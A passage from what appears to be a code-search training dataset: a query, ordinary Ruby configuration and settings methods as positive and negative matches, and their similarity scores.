"def configuration\n cfg = {}\n cfg[:author_avpair] = @author_avpair.name if (@author_avpair)\n cfg[:command_authorization_profile] = @command_authorization_profile.name if (@command_authorization_profile)\n cfg[:disabled] = self.disabled? if (self.disabled?)\n cfg[:enable_password] = @enable_password if (@enable_password)\n cfg[:enable_password_expires_on] = @enable_password_expires_on.to_s if (@enable_password_expires_on)\n cfg[:enable_password_lifespan] = @enable_password_lifespan if (@enable_password_lifespan != 0)\n cfg[:enable_acl] = @enable_acl.name if (@enable_acl)\n cfg[:encryption] = @encryption.to_s if (@encryption)\n cfg[:login_acl] = @login_acl.name if (@login_acl)\n cfg[:login_password] = @login_password if (@login_password)\n cfg[:login_password_expires_on] = @login_password_expires_on.to_s if (@login_password_expires_on)\n cfg[:login_password_lifespan] = @login_password_lifespan if (@login_password_lifespan != 0)\n cfg[:salt] = @salt if (@salt)\n cfg[:user_group] = @user_group.name if (@user_group)\n return(cfg)\n end",
"def config\n @config ||= nil\n return @config unless @config.nil?\n @config = app_config.find_config config_key\n @config.freeze\n @config\n end",
"def config\n @config_file\n end",
"def get_config\n global_config = {\n 'pubnub_subscribe_key'=> Settings.pubnub.subscribe_key\n }\n\n static_config = {\n 'name'=> self.name\n }\n\n #Manually inject the analytics from the account into the unit\n if self.admo_account and not self.admo_account.analytics.empty?\n #We hide the secret away from the clients for now.\n static_config['analytics'] = self.admo_account.analytics\n static_config['analytics'].delete(:mixpanel_api_secret)\n end\n\n account_config = self.admo_account.try(:config) || {}\n global_config.merge(account_config).merge(self.config).merge(static_config)\n end",
"def configuration\n @configuration\n end",
"def activeConfig\n return @active_config\n end",
"def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end",
"def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end",
"def config\n Setting[klass_name]\n end",
"def config\n @default_args || Surrealist::HashUtils::EMPTY_HASH\n end",
"def config\n @config\n end",
"def config\n @config\n end",
"def config\n @config\n end",
"def pref\n raw_config = File.open(\"#{Rails.root}/config/prefs.yml\")\n config = YAML.load(raw_config)\n #$prefs=config.symbolize_keys[:pref]\n config\n end",
"def type_to_form_ready_hash_site\n {\n username: resource[:username],\n password: resource[:password],\n configStoreConnection: JSON.generate(type_to_form_ready_hash_configstore),\n settings: JSON.generate(type_to_form_ready_hash_logsettings),\n runAsync: false,\n }\n end",
"def config\n site.config\n end",
"def c\n configuration\n end",
"def configuration\n application.configuration\n end",
"def extract_settings(config)\r\n @rp_key = config[\"collections\"].keys[0].freeze\r\n end",
"def configuration\n JSON.parse @gapi.configuration.to_json\n end",
"def config\n @config ||= @module_config || {}\n end",
"def settings\n # JSONSettingDataSource.file_semaphore.synchronize do\n return @settings\n # end\n end",
"def config\n to_ret = as_json\n to_ret.delete('auto_publish')\n to_ret.delete('id')\n to_ret\n end",
"def config\n to_ret = as_json\n to_ret.delete('auto_publish')\n to_ret.delete('id')\n to_ret\n end",
"def default?; to_hash.gibbler == DEFAULT_CONFIG_HASH; end",
"def config\n @config ||= read_config\n end",
"def get_all_settings\n return @db[:settings].as_hash(:name, :body) if onblock(:u, -1, @client).admin?\n end",
"def config\n @configuration ||= Configuration.new\n end"
] |
[
"0.7673606",
"0.6931116",
"0.6875609",
"0.6811018",
"0.67586315",
"0.67586315",
"0.6700916",
"0.6697547",
"0.6598611",
"0.6598611",
"0.6586555",
"0.6524824",
"0.6505437",
"0.6505437",
"0.64553523",
"0.64501005",
"0.64300865",
"0.64193916",
"0.6415477",
"0.6407492",
"0.6402535",
"0.637289",
"0.6369529",
"0.63681674",
"0.6366188",
"0.6366188",
"0.63592887",
"0.63488126",
"0.63488126",
"0.63462365",
"0.6339167",
"0.63307",
"0.6328854",
"0.6303659",
"0.6300895",
"0.6259216",
"0.625539",
"0.62519646",
"0.617119",
"0.6163342",
"0.6143902",
"0.6138309",
"0.61374956",
"0.61135477",
"0.6111125",
"0.6080299",
"0.6080299",
"0.60796964",
"0.60796964",
"0.6077671",
"0.60746706",
"0.6071407",
"0.60643643",
"0.60643643",
"0.6063244",
"0.6043347",
"0.60300624",
"0.6019896",
"0.6019896",
"0.6019896",
"0.6019896",
"0.6019896",
"0.6019896",
"0.59983057",
"0.59870344",
"0.59835565",
"0.5980074",
"0.59791535",
"0.5972284",
"0.59647256",
"0.5964642",
"0.59643924",
"0.59422356",
"0.59414554",
"0.5939319",
"0.5937585",
"0.59279025",
"0.5927809",
"0.5927809",
"0.5924109",
"0.592183",
"0.592153",
"0.592153",
"0.592153",
"0.5913271",
"0.5903344",
"0.5902647",
"0.5900787",
"0.5898046",
"0.58904046",
"0.58896154",
"0.5888126",
"0.58872145",
"0.58850974",
"0.58850974",
"0.58818245",
"0.5881573",
"0.5878761",
"0.58669645"
] |
0.7256648
|
2
|
is a certain type of auto configuration enabled?
|
def auto_config? name
return auto_config[name] if !auto_config[name].nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def config\n mode == \"autoinst_config\"\n end",
"def configured?\n true\n end",
"def configured?; false; end",
"def configuration?\n get_mode.to_s.include?('config')\n end",
"def auto_config? name\n return auto_config[name] if !auto_config[name].nil?\n Troles::Config.auto_config?(name)\n end",
"def config_service?\n true\n end",
"def manual_enabled?\n return true\n end",
"def autosign?\n auto = Puppet[:autosign]\n return false if ['false', false].include?(auto)\n return true if ['true', true].include?(auto)\n\n raise ArgumentError, \"The autosign configuration '%s' must be a fully qualified file\" % auto unless auto =~ /^\\//\n if FileTest.exist?(auto)\n return auto\n else\n return false\n end\n end",
"def config_tool_needed?\n false\n end",
"def config_enabled(thing)\n check = thing.to_s\n to_check = [Carnivore::Config.get(:fission, :core, :enable)].flatten.compact\n to_check.include?(check)\n end",
"def check_configure\n apply_task_params(true)\n enable_variants\n unless Cache.instance[\"configuration_data\"][\"configured\"]\n if @script.autoconf\n configure\n end\n end\n end",
"def configured?\n !!@config\n end",
"def auto_config\n @auto_config ||= {}\n end",
"def auto_config\n @auto_config ||= {}\n end",
"def configure_early?\n true\n end",
"def auto_registration?\n false\n end",
"def configured?\n configuration_exists?\n end",
"def configured?\n @configuration != nil\n end",
"def build_config?\n show?\n end",
"def configured?\n !!@configured\n end",
"def automatic?\r\n\t\t\t@automatic ||= json['auto'] == 'Y'\r\n\t\tend",
"def enabled?; end",
"def enabled?; end",
"def is_dynamic?\n !@discovery_config.nil?\n end",
"def enabled?\n !!configuration.enabled\n end",
"def configured?\n @config = load_config\n unless @config.nil?\n return unless priviledge_check\n @@options.each do |k,v|\n case resource[v]\n when true, :true, :enable, :enabled\n value = true\n when false, :false, :disable, :disabled, nil\n value = false\n else\n value = resource[v]\n end\n\t config = @config.to_ruby\n return false unless config[k].eql?(value) \n end\n else\n # Create a new configuration\n @config = NSMutableDictionary.new\n return unless priviledge_check\n end\n true\n end",
"def config?\n options[:config]\n end",
"def should_auto_enable?\n # We automatically enable LE if all the following conditions are met\n # 1. Rails component is listening to https\n # 2. Nginx is enabled and is listening over https\n # 3. At least one of the following is true\n # a. LE was automatically enabled in a previous run\n # b. No certificate/key files are present\n # c. If certificate is present, and they are from LE, and is ready for renewal\n # Note: The last condition here is a failsafe to ensure an expired\n # certificate always gets renewed.\n # Check https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4244 for\n # details. The downside is that when expired certificate issued by LE\n # is encountered, omnibus-gitlab will attempt to renew it, irrespective\n # of whether it was automatically generated by a previous reconfigure\n # run or brought by the user.\n rails_listen_https? && nginx_enabled? && nginx_listen_https? && (le_auto_enabled? || !cert_files_present? || needs_renewal?)\n end",
"def enabled?\n true\n end",
"def config?\n raw_config.present?\n end",
"def auto_start?\n autostart\n end",
"def persistent_config_enabled?\n !persistent_config_manager_class.nil? && initial_config[:persistent_config]\n end",
"def active_model_configuration?\n self.class.active_model_configurations.include? self\n end",
"def enabled?\n true\n end",
"def enabled?\n true\n end",
"def app_configured?; end",
"def auto_connecting?\n !!get_inherited_attribute(\"@auto_connecting\")\n end",
"def auto_configuration_state\n super\n end",
"def auto_validate_types?\n @auto_validate_types\n end",
"def active_dsl?\n Apipie.configuration.validate? || ! Apipie.configuration.use_cache? || Apipie.configuration.force_dsl?\n end",
"def always_on?\n false\n end",
"def auto_load?\n (auto_load && orm) || false\n end",
"def configured?\n return false if gateway_type.blank?\n fields = PaymentGateway.find(gateway_type).fields.keys\n fields.all? do |field|\n symbolized_settings[field].present?\n end\n end",
"def enabled\n !false?(configuration[:enabled])\n end",
"def configurable?\n settings && settings.is_a?(Hash) && !settings[:partial].blank?\n end",
"def just_set_up?\n AppConfig[:just_set_up] == true\n end",
"def auto_exclude?\n @auto_exclude\n end",
"def autorun?\n instance.instance_variable_get(:@settings)[:autorun] || false\n end",
"def att_register_enabled?\n Figaro.env.respond_to?(:att_client_id) && Figaro.env.respond_to?(:att_client_secret)\n end",
"def active?\n enabled\n end",
"def enabled?\n return enabled\n end",
"def provides_auto?(node, resource)\n false\n end",
"def management_ip_configured?\n !!running_config.match(/interface ManagementEthernet.*?!/m)\n end",
"def autoload?\n !!@autoload\n end",
"def check_configuration!\n config.check!\n end",
"def configured?\n ENV['STARTING_TOKEN'] != settings.default_starting_token and !InstagramTokenAgent::Store.value.nil?\n end",
"def management_ip_static_configured?\n !!running_config.match(%r{interface ManagementEthernet \\d+/\\d+.*?\\s+ip address\\s+\\d+.\\d+.\\d+.\\d+\\/\\d+})\n end",
"def enabled; end",
"def enabled; end",
"def enabled; end",
"def enabled; end",
"def developer?\n config[\"developer\"] == true\n end",
"def can_be_configured?(vagrant_config, file_config)\n true\n end",
"def default_config?\n configuration == environment\n end",
"def default_config?\n configuration == environment\n end",
"def enabled?\n !host.nil?\n end",
"def is_configurable?\n (self.status == 4 or self.status == 6 or self.status == 9) and !self.try(:asset).try(:name).eql?('readme.doc')\n end",
"def config_parsed?\r\n config_parsed\r\n end",
"def exists?\n conf.has_key? 'api'\n end",
"def enabled?\n config.roadie.enabled\n end",
"def show_configuration?\n super ||\n can?(:manage, Site) ||\n can?(:manage, User) ||\n can?(:manage, Hyku::Group)\n end",
"def requires_manual_intervention?\n false\n end",
"def demo_mode?() # :doc:\n AppConfig[:demo_mode].full?\n end",
"def auto_instrument?\n true\n end",
"def isautoboot\n\n\t\tif !exists?\n\t\t\tcase resource[:ensure]\n\t\t\t\twhen :absent then return #do nothing\n\t\t\t\twhen :running then install(true)\n\t\t\t\telse install(false)\n\t\t\tend\n\t\tend\n\t\n\t\treturn dom.autostart.to_s\n\n\tend",
"def enabled?(*)\n true\n end",
"def configuration_option(*opts, &block)\n Autoproj.config.declare(*opts, &block)\nend",
"def write_enabled\n enabled = true\n TwitPic::Config.instance_methods.grep(/\\w=$/).each do |method|\n enabled = false unless @config.send(method.to_s.chop).strip.length > 0\n end\n end",
"def tool_enabled?(tool)\n options[\"#{tool}_enabled\"].to_i == 1\n end",
"def needs_customization?\n return false\n end",
"def has_configuration?\n @config[:username] and @config[:password]\n end",
"def setup?\n @setup\n end",
"def cfg_enable(cfg)\n raise Agent::Error.new(Agent::Error::CFG_BAD) if !cfg.kind_of? ZoneConfiguration\n \n response = interactive_mode do \n query(\"cfgenable \\\"#{cfg}\\\"\",\"y\")\n end\n \n case\n when response.data.match(/#{Replies::OPERATION_CANCELLED}/)\n raise Agent::Error.new(Agent::Error::CFGSAVE_CANC)\n when response.data.match(/#{Replies::FLASH_UPDT}/)\n # if any transaction was in progres it is closed now\n @transaction=nil\n return true\n else\n raise Agent::Error.new(response.data)\n end\n end",
"def protected\n match(/has\\s(enabled)\\snick\\sprotection/) ? true : false\n end",
"def active?\n return $ShellOptions.activeConfig == @name\n end",
"def autoload?\n\n return true unless defined? @autoload\n return @autoload \n\n end",
"def configuration_for?(key)\n key = resolver.resolve(key) unless key == :default\n configurations.key?(key)\n end",
"def should_advance_work?\n get_configuration 'auto_advance_work', @work_type_config.dig('hydra_endpoint', 'workflow_actions'), @config.dig('workflow_actions')\n rescue\n true\n end",
"def enabled?\n enabled.nil? || enabled\n end",
"def enabled?\n @metadata.fetch(:enabled, true)\n end",
"def system_configured?\n system_configs = self.class.list\n desired_configs = self.app_config\n\n desired_configs.values.all? { |config| system_configs.include? config }\n end",
"def should_build?\n config.auto_build && !dev_server_running?\n end",
"def config_file_loaded?\n @config_file_loaded\n end",
"def auto_instrument?\n !Contrib::Rails::Utils.railtie_supported?\n end",
"def auto_instrument?\n !Contrib::Rails::Utils.railtie_supported?\n end",
"def enabled?\n false\n end",
"def is_auto_loading_running\n # stub method\n puts 'call is_auto_loading_running'\n end",
"def always_active?\n true\n end",
"def auto_instrument?\n false\n end",
"def auto_instrument?\n false\n end"
] |
[
"0.7918839",
"0.73479337",
"0.7234662",
"0.71866626",
"0.71792614",
"0.6892769",
"0.689206",
"0.6886087",
"0.685284",
"0.6741846",
"0.6737845",
"0.6735295",
"0.6599472",
"0.6599472",
"0.65645564",
"0.6540362",
"0.65352446",
"0.6523569",
"0.65149254",
"0.64861846",
"0.64832115",
"0.6449416",
"0.6449416",
"0.64281857",
"0.6408444",
"0.63678074",
"0.6356327",
"0.63512737",
"0.63224244",
"0.62975866",
"0.6289447",
"0.62828255",
"0.62650776",
"0.6264343",
"0.6264343",
"0.6238497",
"0.62136436",
"0.6205818",
"0.61500764",
"0.6133112",
"0.61232907",
"0.6108261",
"0.6098219",
"0.6062302",
"0.60603774",
"0.6051463",
"0.60163397",
"0.60089296",
"0.6004147",
"0.59847456",
"0.5977381",
"0.5975257",
"0.5965984",
"0.5949475",
"0.5948706",
"0.59409153",
"0.5932203",
"0.5926935",
"0.5926935",
"0.5926935",
"0.5926935",
"0.59176016",
"0.59151554",
"0.5913463",
"0.5913463",
"0.5907856",
"0.5906324",
"0.5904914",
"0.58985245",
"0.5896256",
"0.58918494",
"0.5888366",
"0.5884501",
"0.5870439",
"0.58594376",
"0.5859124",
"0.5851834",
"0.5844572",
"0.5843002",
"0.5842194",
"0.58270586",
"0.5825577",
"0.5823738",
"0.58227205",
"0.58146",
"0.58124685",
"0.5810567",
"0.58067256",
"0.580631",
"0.57945544",
"0.57934093",
"0.57896626",
"0.5789237",
"0.5788841",
"0.5788841",
"0.5788472",
"0.57842314",
"0.57834387",
"0.5778423",
"0.5778423"
] |
0.7429825
|
1
|
Get the main field name that is used for the behavior added, fx :troles for roles behavior
|
def main_field
@main_field ||= begin
default_main_field
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_field_name\n\t\tend",
"def field_name\n @field.name\n end",
"def field_name\r\n @field_name ||= begin\r\n %r/(\\w+)Field$/.match(name)[1]\r\n rescue\r\n %r/(\\w+)$/.match(name)[1]\r\n end\r\n end",
"def field_name\n self.class.name.split(\"::\").last.downcase.sub(\"of\", \"_of_\"). \\\n sub(\"field\", \"\").downcase\n end",
"def field_name\n case @cmd_switch\n when 'add_forgroups'\n 'dc.subject.forgroup'\n\n when 'replace_type'\n 'dc.type'\n\n else\n STDERR.puts \"Invalid command line switch: #{@cmd_switch}\"\n exit 1\n end\n end",
"def role_name\n object.role_name\n end",
"def role_selection\n \"#{name}\"\n end",
"def role_name\n @role_name ||= object.meta[:role].try(:capitalize)\n end",
"def name_with_role\n \"#{self.name} (#{self.organization.name} - #{self.role.name})\"\n end",
"def default_main_field\n @default_main_field ||= (singularity == :many) ? :troles : :trole\n end",
"def role_name\r\n Role.find(object.role_id).role_name\r\n end",
"def name\n \"#{email_templatable_type} template: #{self[:name]}\"\n end",
"def name\n \"#{role_name} #{user&.email}\"\n end",
"def get_name\r\n self.name\r\n end",
"def name\n @_name\n end",
"def name() return @name end",
"def name() return @name end",
"def name\n \"#{self[:afi]} #{self[:type]} #{self[:grp_name]}\"\n end",
"def member_name\n # does nothing - just here to satisfy text_field_with_auto_complete (which requires a model property)\n end",
"def member_name\n # does nothing - just here to satisfy text_field_with_auto_complete (which requires a model property)\n end",
"def dynamic_custom_field_class_name(name)\n \"#{self.name}#{name.to_s.singularize.camelize}Field\"\n end",
"def get_field_display_rtpl\n '{%=' + @model_name + '[:' + @name + ']%}'\n end",
"def get_field_name(options)\r\n field_name = options[:field_name]\r\n\r\n field_name\r\n end",
"def getName()\n\t\t\treturn @_name\n\t\tend",
"def get_name\n return @m_name\n end",
"def get_name\n return @m_name\n end",
"def get_name\n return @m_name\n end",
"def get_name\n return @m_name\n end",
"def name_base\n %(#{@page_config.name}#{parent_field}[#{@field_name}])\n end",
"def field_name\n @gapi.field_name\n end",
"def name\n @name ||= client.all_typeforms.find { |typeform| typeform.id == id }.name\n end",
"def get_field(field_name)\n\t\tend",
"def field_name\n self.well_info.field_name\n end",
"def name\n variant_suffixes = @field_variants.map { |variant| variant.suffix }.join\n \"*_#{@type.suffix}#{variant_suffixes}\"\n end",
"def role_name\n @values.fetch('ai.device.roleName') { \n @values['ai.device.roleName'] = nil\n }\n end",
"def choice_field_name(value)\n \"#{name}___#{value}\"\n end",
"def name\n\t\treturn @name\n\tend",
"def human_name\n I18n.t(@name, :scope => [:role], :default => @name.to_s.humanize)\n end",
"def name\n @custom_name || @attribute.to_s.humanize\n end",
"def get_name\n\t\treturn @name\n\tend",
"def get_name\n\t\treturn @name\n\tend",
"def get_name\n\t\treturn @name\n\tend",
"def get_name\n @name\n end",
"def getName()\r\n\t\treturn @name\r\n\tend",
"def name\n self.general_fields.where(fieldable_id: self.id).where(\"payload->>'key' = 'name'\").first.value\n end",
"def form_element_name\n \"#{self.model_name}[#{self.column_name}]\"\n end",
"def name_field\n category_ids = AttributeCategory.where(\n user_id: user_id,\n entity_type: self.class.name.downcase\n ).pluck(:id)\n\n # Todo these two queries should be able to be joined into one\n AttributeField.find_by(\n user_id: user_id,\n attribute_category_id: category_ids,\n field_type: 'name'\n )\n end",
"def name\n self[ :name ]\n end",
"def oo_default_role_name\n name.words.snakecase\n end",
"def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend",
"def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend",
"def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend",
"def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend",
"def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend",
"def getName\n return @name\n end",
"def getName\n return @name\n end",
"def original_name\r\n return @name\r\n end",
"def name\r\n @name\r\n end",
"def get_name\n\t\t@name\n\tend",
"def getName; @name; end",
"def name()\n return @name\n end",
"def get_full_role\n\t\tif role == \"lead\"\n\t\t\treturn \"Project Lead\"\n\t\telsif role == \"editor\"\n\t\t\treturn \"editor\"\n\t\tend\n\tend",
"def get_field_list_rtpl\n '{%=' + @model_name + '[:' + @name + ']%}'\n end",
"def display_name\n NAME\n end",
"def display_name\n NAME\n end",
"def name\n @name\n end",
"def name\n return @name\n end",
"def name\n I18n.t(\"relation_#{ self.class.name.split(\"::\").last.underscore }.name\")\n end",
"def name\n I18n.t(\"relation_#{ self.class.name.split(\"::\").last.underscore }.name\")\n end",
"def get_name()\n @name\n end",
"def get_name()\n @name\n end",
"def name\n NAME\n end",
"def user_name_field\n \"UITextFieldLabel text:'Username'\"\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def name\n return @name\n end",
"def html_input_name\n if path?\n return \"path_\" + @name\n else\n return \"field_\" + @name\n end\n end",
"def name\n @name\n end",
"def contact_field_name(contact_field)\n contact_field_translations[contact_field]\n end",
"def get_name\n @name\n end",
"def get_name\n @name\n end",
"def get_name\n @name\n end",
"def get_name\n @name\n end",
"def field name\n @fields[name]\n end",
"def get_field_names(template); end",
"def name\n @name\n end",
"def name\n @name\n end"
] |
[
"0.69857955",
"0.6906255",
"0.66457266",
"0.6534383",
"0.6374389",
"0.63659745",
"0.6336275",
"0.6332047",
"0.63004225",
"0.6297585",
"0.6293652",
"0.628871",
"0.6254938",
"0.6191561",
"0.6181366",
"0.61638266",
"0.61638266",
"0.61586624",
"0.6156493",
"0.6156493",
"0.61371",
"0.6101157",
"0.6089287",
"0.6062932",
"0.60620844",
"0.60620844",
"0.60620844",
"0.60620844",
"0.6060976",
"0.6053009",
"0.60515255",
"0.6039963",
"0.6029611",
"0.60259",
"0.60227865",
"0.6018454",
"0.6015926",
"0.59954506",
"0.59922314",
"0.59897786",
"0.59897786",
"0.59897786",
"0.598088",
"0.5974974",
"0.5973571",
"0.59724313",
"0.59676033",
"0.5965202",
"0.5964539",
"0.5962978",
"0.5962978",
"0.5962978",
"0.5962978",
"0.5962978",
"0.5961617",
"0.5961617",
"0.5958373",
"0.5957475",
"0.59572226",
"0.5950532",
"0.59440184",
"0.5943799",
"0.59433126",
"0.59413254",
"0.59413254",
"0.5935685",
"0.59291875",
"0.5924805",
"0.5924805",
"0.59243995",
"0.59243995",
"0.5921199",
"0.5915874",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5915458",
"0.5912292",
"0.59111065",
"0.5910411",
"0.590553",
"0.590553",
"0.590553",
"0.590553",
"0.5901027",
"0.5886812",
"0.58866745",
"0.58866745"
] |
0.0
|
-1
|
Set the main field of the behavior
|
def main_field= field_name
name = field_name.to_s.alpha_numeric.to_sym
raise ArgumentException, "Not a valid field name: #{field_name}" if !valid_field_name?(name)
@main_field ||= name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def main_field\n @main_field ||= begin\n default_main_field\n end\n end",
"def main_field\n @main_field ||= begin\n default_main_field\n end\n end",
"def configure_field\n end",
"def configure_field\n end",
"def set_display(widget) \n @main_widget = widget \n end",
"def set_main\n # 가장 최근의 감정을 불러온다.\n @emotion = Emotion.order(created_at: :desc).where(user_id: @home.user_id).first\n @main = Main.new(\n home: @home,\n emotion: @emotion\n )\n end",
"def setting; end",
"def startEdit\n super\n create_text_field unless @text_field\n\n set_text nil\n set_graphic @text_field\n @text_field.select_all\n end",
"def setup(easy)\n super\n if form.empty?\n easy.postfieldsize = 0\n easy.copypostfields = \"\"\n end\n end",
"def set_setting\n end",
"def on_enter\n super\n set_form_row\n end",
"def setup!\n clear_group!\n hide_cursor!\n hide_group!\n hide_interface!\n show_cursor!\n show_group!\n show_interface!\n toggle_cursor!\n toggle_group!\n toggle_interface!\n end",
"def set_main_widget(main_widget)\n @main_widget = main_widget\n # Initialize it\n invalidate_current_loaded_file\n end",
"def layout_fields\n \n end",
"def change_form_content \n\tend",
"def add_defaults_local\n super\n self.collection_event ||= parent.collection_event if parent\n self.specimen_characteristics ||= CaTissue::SpecimenCharacteristics.new\n end",
"def setup_gui\n \n end",
"def set_about_yourself_field(details)\n end",
"def init_custom_fields\n super\n @synthesis_level = 0\n @synthesis_materials = []\n end",
"def set(args, ac=true)\n super(args, ac)\n @title_label.value = @style[:title] if @title_label\n end",
"def set(args, ac=true)\n super(args, ac)\n @title_label.value = @style[:title] if @title_label\n end",
"def self\n @define_self = true",
"def main_window\r\n super\r\n # Make actor command window\r\n s1 = $data_system.words.attack\r\n s2 = $data_system.words.skill\r\n s3 = $data_system.words.guard\r\n s4 = $data_system.words.item\r\n @actor_command_window = Window_Command.new(160, [s1, s2, s3, s4])\r\n @actor_command_window.y = 160\r\n @actor_command_window.back_opacity = 160\r\n @actor_command_window.active = false\r\n @actor_command_window.visible = false\r\n # Make other windows\r\n @party_command_window = Window_PartyCommand.new\r\n @help_window = Window_Help.new\r\n @help_window.back_opacity = 160\r\n @help_window.visible = false\r\n @status_window = Window_BattleStatus.new\r\n @message_window = Window_Message.new\r\n end",
"def set_main\n @main = Main.find(params[:id])\n end",
"def edit_modifier\n\n\tend",
"def edit\n if( not @rep )\n UI.beep\n return\n end\n @rep.edit true\n self.show_height\nend",
"def setup(*)\n # Used to be in an after_add, updated for apotomo 1.2.\n self.respond_to_event :form_submitted, :from => self.name\n self.respond_to_event :revert, :from => self.name\n self.respond_to_event :display_form, :from => self.name\n\n self.where = nil\n self.dom_id = options[:dom_id]\n self.grid_options = {}\n # Guesses that you will use the resource name for the form template.\n self.form_template = options[:resource]\n # Assume that the form is not a multipart (uploader) form\n self.multipart_form = false\n # The orphan template is used when a parent record is needed but not selected\n self.orphan_template = 'orphan'\n # Ensure that we always have a record of some sort\n self.record = resource_model.new\n # Set the name of this resource for public display\n self.human_resource = options[:resource].humanize\n # Set the spokesfield to nil, this needs to be set explicitly\n self.spokesfield = nil\n \n @columns = []\n @sortable_columns = {}\n @default_sort = nil \n\n @filters = {}\n @filter_sequence = []\n @filter_default = {}\n \n @flash_widget = self.dom_id + '_flash'\n self << widget(:grid_flash, @flash_widget)\n \n if options[:form_only]\n @list_widget = nil\n @filters_widget = nil\n self.form_buttons = [\n ['remain', 'Save', 'Add'],\n ]\n else\n @list_widget = self.dom_id + '_list'\n @filters_widget = self.dom_id + '_filters'\n self << widget(:grid_list, @list_widget) do |lw|\n lw << widget(:grid_filters, @filters_widget)\n end\n \n self.form_buttons = [\n ['submit', 'Save+Close', 'Add+Close'],\n ['remain', 'Save', 'Add'],\n ['cancel', 'Cancel', 'Cancel'],\n ]\n end\n end",
"def form_setup\n\tend",
"def setup(minefield)\n raise 'Expected a minefield' unless minefield.is_a? Minefield\n\n @minefield = minefield\n @minefield.player = self\n end",
"def set_form(easy)\n end",
"def configure_component component\n #component.set_form @parent <<--- definitely NOT\n component.form = @parent\n component.rows_panned = component.cols_panned = 0\n component.parent_component = self # added 2010-02-27 so offsets can go down ?\n component.should_create_buffer = true \n component.row = @row + TAB_ROW_OFFSET # 2\n component.col = @col + TAB_COL_OFFSET\n\n # current_form likely to be nil XXX\n scr_top = component.row # for Pad, if Pad passed as in SplitPane\n scr_left = component.col # for Pad, if Pad passed as in SplitPane\n ho = TAB_ROW_OFFSET + 2 # 5\n component.set_buffering(:target_window => @target_window || @parentwin, :form => @current_form, :bottom => @height-ho, :right => @width-2, :screen_top => scr_top, :screen_left => scr_left)\n # if left nil, then we expand the comp\n component.height ||= @height - (ho - 1) # 1 keeps lower border inside by 1\n component.width ||= @width - 0 # 0 keeps it flush on right border\n\n\n end",
"def main_window\r\n super\r\n # Make windows\r\n @edit_window = Window_NameEdit.new(@actor, $game_temp.name_max_char)\r\n @input_window = Window_NameInput.new\r\n end",
"def main_instance\n send main_model\n end",
"def setcharup(*)\n super\n end",
"def update_ui_field_style\n @ui_field.secureTextEntry=@options[:type]==:password\n @ui_field.autocorrectionType = get_auto_correct_type(@options[:auto_correct])\n @ui_field.autocapitalizationType = get_auto_capitalize_type(@options[:auto_capitalize])\n @ui_field.keyboardType = get_keyboard_type(@options[:keyboard])\n @ui_field.enabled = @options[:type] != :label\n\n\n text_view_toolbar = PlasticCup::Base.style(UIToolbar.new, frame: CGRectMake(0,0,320,44))\n done_button = UIBarButtonItem.alloc.initWithBarButtonSystemItem(UIBarButtonSystemItemDone, target: self, action: 'did_return:')\n\n text_view_toolbar.items=[\n UIBarButtonItem.flexible_space, done_button\n ]\n @ui_field.inputAccessoryView = text_view_toolbar\n\n end",
"def setup_form\n build_form\n super\n end",
"def init_custom_fields\n @default_title_id = 1\n @titles = []\n end",
"def parental_control_settings=(value)\n @parental_control_settings = value\n end",
"def __setter__\n \"#{self}=\"\n end",
"def run\n super\n create_easy_attribute_source\n add_attribute_to_type\n end",
"def modify\n super\n end",
"def add_show_field(*) super end",
"def main_window\r\n super\r\n # Make help window, item window\r\n @help_window = Window_Help.new\r\n @item_window = Window_Item.new\r\n # Associate help window\r\n @item_window.help_window = @help_window\r\n # Make target window (set to invisible / inactive)\r\n @target_window = Window_Target.new\r\n @target_window.visible = false\r\n @target_window.active = false\r\n end",
"def main_window\r\n super\r\n # Make help window, status window, and skill window\r\n @help_window = Window_Help.new\r\n @status_window = Window_SkillStatus.new(@actor)\r\n @skill_window = Window_Skill.new(@actor)\r\n # Associate help window\r\n @skill_window.help_window = @help_window\r\n # Make target window (set to invisible / inactive)\r\n @target_window = Window_Target.new\r\n @target_window.visible = false\r\n @target_window.active = false\r\n end",
"def set( setThis )\r\n assert_exists\r\n assert_enabled\r\n assert_not_readonly\r\n \r\n highlight(:set)\r\n @o.scrollIntoView\r\n @o.focus\r\n @o.select()\r\n @o.fireEvent(\"onSelect\")\r\n @o.value = \"\"\r\n @o.fireEvent(\"onKeyPress\")\r\n doKeyPress( setThis )\r\n highlight(:clear)\r\n @o.fireEvent(\"onChange\")\r\n @o.fireEvent(\"onBlur\")\r\n end",
